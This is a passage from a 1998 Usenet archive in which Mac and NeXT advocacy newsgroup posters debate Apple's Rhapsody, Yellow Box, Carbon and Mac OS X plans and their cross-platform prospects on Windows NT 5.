be looked at in proper perspective. Until that happens, Apple has
essentially shot all the Yellow Box development efforts in the foot by
making them seem like second class citizens, and perhaps even obsolete
before they really started.
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 13:45:42 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jesi6$53v$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu> <6jd1ov$1a3$1@xmission.xmission.com> <6jed3f$kfa$1@larry.admin.phil.uu.nl>
freek@phil.uu.nl (Freek Wiedijk) wrote:
> >Sticking with Rhapsody on Intel could mean keeping an entire
> >group of users at my company, around 120 writers and
> >engineers.
>
> They probably lost _us_ (my site, that is.) We were betting
> on Rhapsody to show that Apple could still innovate and
> deliver. Our management gave us to January 1999. Ah well,
> time to learn something about Windows NT (or to start looking
> for a new job :-))
You'll have Rhapsody 1.0 in Q3 98. That's before Jan. 99, as far as I can
tell. So what's the problem?
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355af7e5.0@206.25.228.5>
Date: 14 May 98 13:55:49 GMT
don@misckit.com (Don Yacktman) wrote:
> This is so true. It is a problem that Microsoft has created,
> yet it affects (and limits and ties down) the whole industry.
> The YB has to be totally hidden if you're going to get it onto
> the machine. Once it is so hidden, I don't think many users will
> know that they're paying for it multipe times, so they won't
> care...
> Sounds horrible, I know. Especially to those of us who know
> better. But if you're going to steal Windows sheep, you have to
> cater to their mentality.
Speaking of which...will any of this mean a damn if the rumor of
YB not being free for developers on windows? Who is going to use
it if dlls are not free?
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 13 May 1998 11:47:18 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1305981147180001@dante.eng.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8cet$fgg$1@nnrp1.dejanews.com> <rmcassid-1205980106390001@dialin33418.slip.uci.edu> <355964FB.FE186A3B@stevens-tech.edu>
In article <355964FB.FE186A3B@stevens-tech.edu>, bitwize@geocities.com wrote:
>Robert Cassidy wrote:
>> But MS can counter that by destroying the
>> notion of a browser in lieu of an OS technology, which Netscape can't
>> touch by not having an OS.
>
>Linux has quickly become the adopted son of Netscape, Corel, and anyone
>else who wanted to kick Microsoft in the nuts.
But Linux isn't a consumer product. Look at where MS is taking this: Their
growth will be in internet commerce and services. They should be looking
to Apple, who I'm sure would be happy to help their YellowBox apps push
against MS when it comes time for Steve to kick Bill in the the nuts in a
year or two.
-Bob Cassidy
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: Thu, 14 May 1998 13:35:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jeruf$43t$1@nnrp1.dejanews.com>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
mbkennel <replace this with '@'> yahoo.com wrote:
> :Much better to sell it seperately and develop the apps around it
> :with a mark "Requires YB for Win/Mac etc"
> :Market it as a plug-in.
> :Perhaps with a centralized licensing scheme.
>
> No, very bad idea. Some OpenStep developer said that when they deployed
> on Windows inside some company, people were very very worried about this
> weird "OpenStep thing" they had to install. It didn't matter that it was
> no different than the "DLLs" which come from any MFC application, the mere
> fact that it was something special, and from "NeXT" or "Apple" was enough
> to wig them out. Just being able to see an \APPLE directory was enough
> to cause revolts.
>
> In that world, applications have to be be just like "ordinary Windows
> programs". Merely even having a separate name that end-users have to know
> about adds encourages way too much angst.
> YB for Windows shouldn't even have an identifiable name in the Windows
> user's universe.
Well, yes and no. You're right that Windows users have been burned many times,
and are very leery. On the other hand, they do buy into some things, even if
they promise much more than they deliver ("MMX Enabled!" anyone?).
A well-designed ad campaign would actually make them WANT Yellow-Box enabled
apps, which would obviously be great for developers. As opposed to the stealth
approach you propose, in which each developer would have to make their own
independent sales efforts.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Thu, 14 May 1998 07:51:09 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355AE8BD.2D081E28@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
<3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com>
<6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com>
<6jd4b4$5nv$4@msunews.cl.msu.edu> <355A1631.F7BD6362@milestonerdl.com> <6jdl16$l15$2@msunews.cl.msu.edu>
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spammers@ruin.the.internet.channelu.com wrote:
> > Simple. Just announce that "Apple considerers NT 5.x to be a key
> platform
> > to support. Apple Computer will work to support a NT 5.x version of
> > YellowBox technology." Says nothing about succeeding, and Apple can
> (and
> > has) change its mind. But, with no support mentioned, what is to be
> > assumed? That Apple will support or not?
>
> Why NT5.x isn't even shipping yet. If they know they will want to it
> would
> be a good thing IMHO. But I'm not sure I'd agree that they aren't.
> Hell maybe they got Microsoft to support YB for 98/NT5. So why
> would Apple announce it? Heck they may have to keep quiet about
> this because of deals with MS. They are also a bit busy right now.
> Hopefully this will become clearer shortly. You've waited a year
> can you wait another week?
Actually, I've been asking about YellowBox announced support plans for NT
5.x/98 for 7 months.
Right now, I'm making noise. And I'm hoping that some people who felt the
NT5.x/98 path was asured will say "Hey, they HAVEN"T announced NT5, have
they?" And enough ppl ask, that Apple will make a formal statement.
> > Perhaps. A rumor is Win98 ships with YellowBox on it.
>
> Yep and I'll believe it when I see it. It would be awsome BTW!
No, what would be awesome is this:YellowBox verson of Photoshop. The
YellowBox port is faster than the Windows version. 10%-30% would be nice
to see.
> > And the self-fufulling prophecy can be broken when Apple publicly
> supports
> > the FUTURE of non-MacOS options.
>
> Yes and I agree Jobs made a mistake of touting MacOS X while not saying
> anything about Rhapsody or the future of YB on Intel.
>
> > We can all agree MacOS is Apple's 'core buiness'.
>
> Bull. PPC is Apple's core business. Go check their business figures.
If PPC's were proftable in anything but a MacOS OS, then why have the
cloners all dried up and went away?
> To kill it probably. Again time will tell. I tend to belive that
> all the YB
> conferences etc. suggest otherwise. I look forward to Scott's new
> addition tonite if he isn't completely burned out from last
> night/today.
Same here.
> > How convincing is learning YellowBox if it runs on old 95/NT4 and
> Macintosh
> > machines?Carbon exists because YellowBox wasn't convincing enuf.
>
> Give me a fricking break.
I'd swear that's what Steve Jobs had said. "Rhapsody did not go far
enough"
> Can you buy NT5, Win98.
You will be able to. And Microsoft's core Apps will be moved to 98/NT5
only. And users will get dragged kicking and screaming.
Now, why junp on YellowBox if your goal is Intel support? To date, it's a
1999-2000 solution. That's when Microsoft does NT5 (or is supposed to)
and given Microsofts history of breaking code when the upgrade OSes, the
conservative path is to assume YB on NT4 will break on NT5. And, given
Apple's past screwings of various parties, AND that the income to Apple
comes from PPC boxes, why shouldn't one bet that Apple's end goal is to
cancel YellowBox for Intel and say "Your envorinment is still arounnd, just
on PPC now."
> Carbon exists
> because
> MacOS developers didn't have the balls to jump on the new ship. Tell
> me
> they were slobbering over doing a 95/NT4 port or gee like they could a
> NT5/98 port?
Perhaps it's this simple. Where was Apple's long-term support for Intel?
> Come on what were their options? Are you even a MacOS
> developer? Or are you just trolling here with your downer attitude
> because
> you have put options on AAPL?
>
> Get your head out of the ground and think about how all the different
> sides have been looking at things and how they are now looking at
> things.
> Apple has been struggling for years, and since they bought NeXT and
> ported Openstep AKA Rhapsody you wanted some kind of a miracle.
>
> Please keep us happy give us Preemptive multitasking, memory
> protection,
> buzzword, buzzword.. Well when they tell you it just can't be
> frickin' done
> with full backward compatibility what does the MacOS developer do?
> He sticks his head in the sand and says "no, no, NO, NO". Well get
> your head out of the sand because you are getting a full blown body
> transplant. Apple got YB from NeXT along with Mach/DPS and loads
> of other technologies. Apple/NeXT ported to PPC within 9 months.
> Shortly there after we got BlueBox and Yellow Box (YB was already
> in the works at NeXT I think). BlueBox is going to blow a few folks
> away I suspect.
> Now they want to give you Carbon and all you can
> do is bitch? What is wrong with you.. You get MacOS all over
> the place and in many different forms. What the heck is your problem.
I could care LESS about carbon. All carbon does is give a viable option to
trash YellowBox. They didn't have that b4. (Do I think it's likely...no)
What I DO care about is cross-platform. And, without a formal statement
about support for NT5, the future for it is in doubt.
(Now, if Apple makes formal statement, they could still opt to cancel the
project. But, after making a formal statement, the pressure not to cancel
would be strong)
> At this point I'm going to believe what Apple says when it says
> YB is it's core technology.
I think it is too. And that's yet another reason to worry about
cross-platform.
> Fortunately I'm not dealing with legacy
> MacOS code. If I was I would have been working on porting to
> YB over the past year and coming up to speed on the YB API's
> and probably freaking out over how beautiful it is. Yeah it will
> take time to get up to speed but I would have been digging in
> with both feet. And drooling over the possibility of getting
> directly to 95/NT4 via YB. Others said ah the heck with it
> and threw in the towel. Frankly I don't think what Apple is
> doing with MacOS X is going to bring them back on board.
>
> What would bring them back on board is if Apple was working on
> a way to convert Carbon Source to YB Source. That would
> get me on board rather quickly. Otherwise what are my options
> port/code for 95/NT? Please compare 95/NT to YB and tell
> me you'd choose 95/NT.
People don't choose Microsoft due to it's beauty....they choose due to
size.
Mac API - No GPL/public attempts to make a clone in open source.
OpenSTEP - GnuSTEP
Windows - TWIN at Willows.com
OpenSTEP had LESS marketshare than MacOS, yet there is work done on
GnuSTEP.
> > Here's one for you to think on:
> > If Apple HAD announced NT5/98/Solaris/HP-UX/Linux for YellowBox,
> would that
> > have been enuf to not NEED Carbon?
>
> I personally don't think Carbon is going to swing a lot of folks at
> this point
> last year maybe, now w/o a Carbon to YB converter it's hard to say.
> All
> the big players already have 95/NT versions. Would
> Solaris/HP-UX/Linux
> swung them. Maybe just maybe, but Carbon to YB converter would
> make them jump like starving dogs after a bone.
>
> > > Hell
> > > I still know people using NT3.51 for various reasons.
> >
> > And, as Macintosh owners point out, Some macs still run MacOS 6.
>
> Yeah but I'd bet they arn't running it on PPC :)
>
> > > > Now, I know you can't know (or, well tell) about a win98
> announcement
> > > on
> > > > Friday, but when the RDF is turned off Friday, will you have _in
> > > hand_
> > > > anything about NT5.x and Rhapsody for Intel beyond 1.0/beyond
> MacOS
> > > X?
> > > >
> >
> > > Who knows. Wait until NT5 or 98 is announced/shipping and then bug
> > > Apple
> > > about it. Then you'll know.
> >
> > If the end-game is a bait and switch, the end game will have been
> reached
> > at that time."Well sir, if that YellowBox application on Intel is so
> > important to you, come and buy this PPC box."
>
> And if that's the case I'll be off to Linux completely through with
> anything
> S. Jobs has his hand in. At that point I'll recant my words and say
> you
> were right Mark. Will you do the same when you happily find out YB
> will be on NT5/98 and there will be a Rhapsody for Intel along with PPC
> (I'm mostly uncertian about the YB-Mach-Intel support at this point
> than
> anything else) for versions beyond Rhap1.0??
Yup. I've been wrong b4. And, at some day, I'll be wrong again.
So far, I've been right that Apple has made no press release on NT 5.x/98
support. On Friday, the rumor of formal YellowBox support for the
dead-end (Microsoft says it's so) 98 may be announced.
>
>
> > > I still don't see what your complaints
> > > are. Apple
> > > is committed to YB on other archs.
> >
> > WHERE ARE THE PUBLIC STATEMENTS!
>
> I wish I knew. But I havn't scoured Apple's site at this point.
> They've got
> to be terribly busy, and yes I get the feeling something is being
> hedged
> and that is what I don't like. I am concerned as you about the support
> but to say it won't be there is as bad as me saying it will.
I'd just ask you to provide support for such a statement.
In 7 months, no one has produced documentation to support Apple has a
formal NT 5.x/98 plan. And the only 'support' of Apples support of NT 5.x
is a vague pointer to a slide show at WWDC. I have yet to look at this and
see.
> Thing is what is our alternative 95/NT??
Unix! Unix! Unix!It's been around longer, and the open source community
is growing, and well, it's just better!
Unix! Unix! Unix! Rah Rah! Unix!
> I'm already moving
> everything
> I can to Linux/BSD I'm sure that won't go away anytime soon. I'm
> suggesting
> to my clients to do the same to hedge all of their bets. Use what you
> can now
> but keep looking to get everything you can to Linux.
Linux? Gack. I'm a FreeBSD kinda guy. :-) And, I came to that
conclusion 8-10 months ago. The trick I am trying is to move YellowBox
over to FreeBSD via the same method that Solaris support can happen.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 08:08:16 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355AECC0.5FA7A8E7@milestonerdl.com>
References: <djboccip-1305981552470001@qburst.msfc.nasa.gov> <B17F8171-2CCAA@206.165.43.40> <355A7F01.2DC4FA27@trilithon.com> <nagleEsxrz1.Grn@netcom.com>
Mime-Version: 1.0
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John Nagle wrote:
> Henry McGilton <henry@trilithon.com> writes:
> >Lawson English wrote:
> > * I think that you are re-inventing history. OpenDoc met
> > * with TREMENDOUS developer interest. 1000 major companies
> > * endorsed it
>
> However, Microsoft didn't. And that was enough.
>
> The problem was that OpenDoc parts were useful only if you were using
> a container application that supported them.
As I remember it, Microsoft wouldn't ship betas unless you signed the NDA
that said you agreed not to work on OpenDoc.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Wed, 13 May 1998 11:55:39 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1305981155390001@dante.eng.uci.edu>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com> <EsvxtF.7G0@micmac.com>
In article <EsvxtF.7G0@micmac.com>, nospam@micmac.com wrote:
>This was written in comp.sys.next.advocacy,comp.sys.mac.advocacy
>(<zi461.1949$sy4.3542379@news.rdc1.sdca.home.com>) by Rex Riley:
>
>> You obviously haven't been around the Steve long enough to appreciate the
>> comment. Let me phrase this as concise as possible. Developers just went
>> from a compile once - deploy elsewhere to a compile once - deploy once.
>>
>
>Where have you seen that MacOSX won't be deployed _somewhere_ else?
Actually, I swear I saw Phil Schiller mention that MacOS X would not be
cross platform in a MacWeek interview, but now I can't find it. Hmm.
Sum'ns fishy...
-Bob Cassidy
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 08:03:15 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355AEB93.4AC11DA3@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <6jcqdt$rkr@nntp02. <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <nagleEsxEDn.2M6@netcom.com>, nagle@netcom.com (John Nagle) wrote:
>
> > With Apple, the "feeling stupid" part comes after you learn the new
> > API and Apple doesn't ship it. Look at the people who fell for
> > OpenDoc, QuickDraw GX, Bedrock, Rhapsody, etc.
>
> Clue: No one has learned the Rhapsody API (i.e., Yellow Box) only to
> have Apple cancel it. YB is not cancelled.
Another poster pointed this out in a nice article:
Apple's unclear naming causes problems
Rhapsody is the name for a group of technology. Under this 'technology' you have
what was all of OpenSTEP and other new stuff. (I have no idea of what the new
stuff is.) And OpenSTEP is a Mach Microkernel with a BSD flavor and the OpenSTEP
API. The API is YellowBox and the OS can be called Rhaspody. Yet the OS +
YellowBox is Rhapsody.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 08:05:10 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355AEC05.AB097DC4@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213> <6jchjg$9nl$1@interport.net> <see-below-1305982245580001@209.24.241.190> <355A96AD.ACA0E6AF@unet.univie.ac.at>
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Christian Benesch wrote:
> This is where the cat bites its tail.
> No users --> no developers --> No applications --> no users --> no devs
> -->....
> and on and on and on.
> If this is true, YB IS doomed.
And with the cross-platform options are in question, developers have no reason
to move to YB eh?
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 14 May 1998 13:59:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jetcp$623$1@nnrp1.dejanews.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <6jcqdt$rkr@nntp02. <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us>
I would urge everyone to check out
http://www.maccentral.com/news/9805/14.xfiles.shtml
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 11:29:30 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1405981129300001@rklein.psychology.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <see-below-1205981903320001@209.24.240.213> <3559033D.89CD88D5@milestonerdl.com> <2s961.2078$sy4.3718097@news.rdc1.sdca.home.com> <rmcassid-1205982334360001@dialin33423.slip.uci.edu>
In article <rmcassid-1205982334360001@dialin33423.slip.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
> Furthermore, we know that Quickdraw (among others) is not reentrant and
> not likely to be (for all of those reasons that were demonstrated in the
> Copland days) unless Avie and crew is considerably smarter than the
> Copland crowd. They may well be, and have had more time to make progress,
> but it seems wasteful of time to pursue this.
QuickDraw is an implementation and an API. The API could have been
implemented as reentrant. However, I doubt it was rewritten AND shoved in
instead of DPS. What we have is a QD API to DPS (implementation).
They only had about a year. Most everything they are talking about
seems like a miracle in that time frame. They had to completely rewrite
the implementations of 6000 ToolBox calls? Port GX typography to
Rhapsody? Port the Finder? Open Transport? OS 8.5 coming? Rewrote part
of the Yellow Box? Navigation services? (question marks added because not
all is completed or implemented as it seems)
Because of the impossibility that the entire 6000 Mac APIs were
rewritten (and because it would be dumb) it is reasonable to assume that
very little is "new". Most of Carbon must be Mac APIs over
implementations that were already in Rhapsody. For us to assume anything
about their capabilities with respect to what we already have experience
with is premature. The Carbon version of the Mac APIs will have the
abilities demoed at MacWorld. There we saw Carbon apps drawing while a
movie was playing. QD in carbon must be reentrant (somewhere :)).
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 11:42:13 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1405981142130001@rklein.psychology.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213> <6jchjg$9nl$1@interport.net> <6jcqdt$rkr@nntp02.primenet.com> <nagleEsxEDn.2M6@netcom.com>
In article <nagleEsxEDn.2M6@netcom.com>, nagle@netcom.com (John Nagle) wrote:
> John Jensen <jjens@primenet.com> writes:
> Incidentally, what 3D strategy is Apple pushing this week?
> QuickDraw 3D? OpenGL? Direct-3D?
>
> John Nagle
> www.animats.com
The latest rumor is that SGI made a deal with Apple. Apparently a
barter between QT and OpenGL is in the works.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Thu, 14 May 1998 08:44:59 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355AF55B.8B5C8731@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <Esu12F.2yG@micmac.com> <slrn6lgnva.l2e.sal@panix3.panix.com> <EsvyKp.7tA@micmac.com> <see-below-1305981927430001@209.24.241.190> <355B18A1.E7370B93@nospam.com>
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Tim Triemstra wrote:
> It makes *everything* so much clearer since *noone* with switch to
> Rhapsody. It is a version of Unix for a company that has no Unix
> experience.
A-UX and AIX are 2 past Unix experiences.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Thu, 14 May 1998 08:29:46 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355AF1CA.79FBB58C@milestonerdl.com>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu>
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Tapella wrote:
> > I still can't see,why they would want to abandon the BSD-part,as they
> had a working
> > system with NextStep and OpenStep all along.
> > With the modification to the kernel that now supports multiple
> processors it took them a
> > few months to get the whole thing running(quick I would say).
> > And as in OpenStep: if you don't need the Unix, you won't see the Unix.
> >
> > Is there really such a Unix-phobia in the Mac-community?
>
> Well, I can't really see an elementary school class being interested in using
> Unix for anything. Can you?
Apple ][ emulation and Web surfing/email are 2 off the top of my head. And you
can even use your Apple ]['s as a terminal to the Unix box..
> What would a graphic artist use Unix for?
Rendering comes to mind, right off the top of my head.
> So of course there's a "phobia" although there are also many users who enjoy
> using both the MacOS and any Unix flavor when appropriate.
Damn whinee MacOS users.....have to take Unix and call it MacOS X to get them to
take their proper proper place in the Unix world. :-)
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: Wed, 13 May 1998 12:07:23 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1305981207230001@dante.eng.uci.edu>
References: <6ja5o4$k4$1@news.idiom.com> <B17DFB11-30D936@204.210.19.214> <see-below-1205981915240001@209.24.240.213> <6jbu6s$nd$1@leonie.object-factory.com>
In article <6jbu6s$nd$1@leonie.object-factory.com>,
holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) wrote:
>Matthew Vaughan wrote:
>> Yes. As far as I can tell, OS X is just Rhapsody (including Blue and
>> Yellow boxes) with the addition of the new Carbon framework (based on
>> Latitude? - I don't know much about this but that's what it sounds like).
>> It probalby won't ship with the BSD environment, but that's about it.
>
>Carbon is *not* based on Latitude. My initial reaction after hearing
>details was that it's the already-ported Toolbox parts of the QT layer,
>cleaned up.
Using the toolbox calls already in QT is extrememely clever, IMO. How it
interacts is a good question, but doesn't need to be answered this week.
There are more important things to deal with first.
>When I see Phil 'Clueless' Schiller running rampage, publicly
>bullshitting about things he doesn't understand, I can only come to
>the conclusion that their upper management should be downsized some
>more.
Uh, what's Schillers title again? Oh yeah, Apple Vice President of
Worldwide Product _Marketing_. Bullshitting is in his job description. His
job is to make the cover of the Mac OS X book interesting enough to get
you to open it and read further - not to tell you who dies and who did it
on page one.
-Bob Cassidy
From: lars.farm@ite.mh.se (Lars Farm)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Anyone notice?
Date: Thu, 14 May 1998 16:54:36 +0200
Organization: pv
Message-ID: <1d90rdb.fsb871iesj0yN@dialup184-4-8.swipnet.se>
References: <355a240b.0@news.depaul.edu>
Cache-Post-Path: mn8!s-49817@dialup184-4-8.swipnet.se
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> All of a sudden, people have a reason to buy Rhapsody 1.0.
>
> They'll have to run their apps in the BlueBox, but they'll
> *know* that in a year they'll be able to install MacOS X
People will not know until it is released.
(... Pink, Talligent, Bedrock, OD, GX, ... )
wwdc 96: Future Apple OS = (delayed) Copland soon. Gershwin 98
Jan 97: Future Apple OS = Rhapsody in 12-18 months
wwdc 98: Future Apple OS = Rhapsody soon. Mac OS X in 12-18 months
wwdc 99: Future Apple OS = <so far unknown> in 12-18 months
...
Seems the new and improved leadership bought from NeXT continues the "no
wait - i have a better idea" tradition (with emphasis on "wait").
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 14 May 1998 08:56:27 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355AF80B.B27F01FA@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <6jcqdt$rkr@nntp02. <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com>
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Been there, saw that.
No mention of any NT 5.X future.
spagiola@my-dejanews.com wrote:
> I would urge everyone to check out
> http://www.maccentral.com/news/9805/14.xfiles.shtml
>
> Stefano Pagiola
> spagiola@my-dejanews.com
> My opinions alone
> Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
> Rhapsody user
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
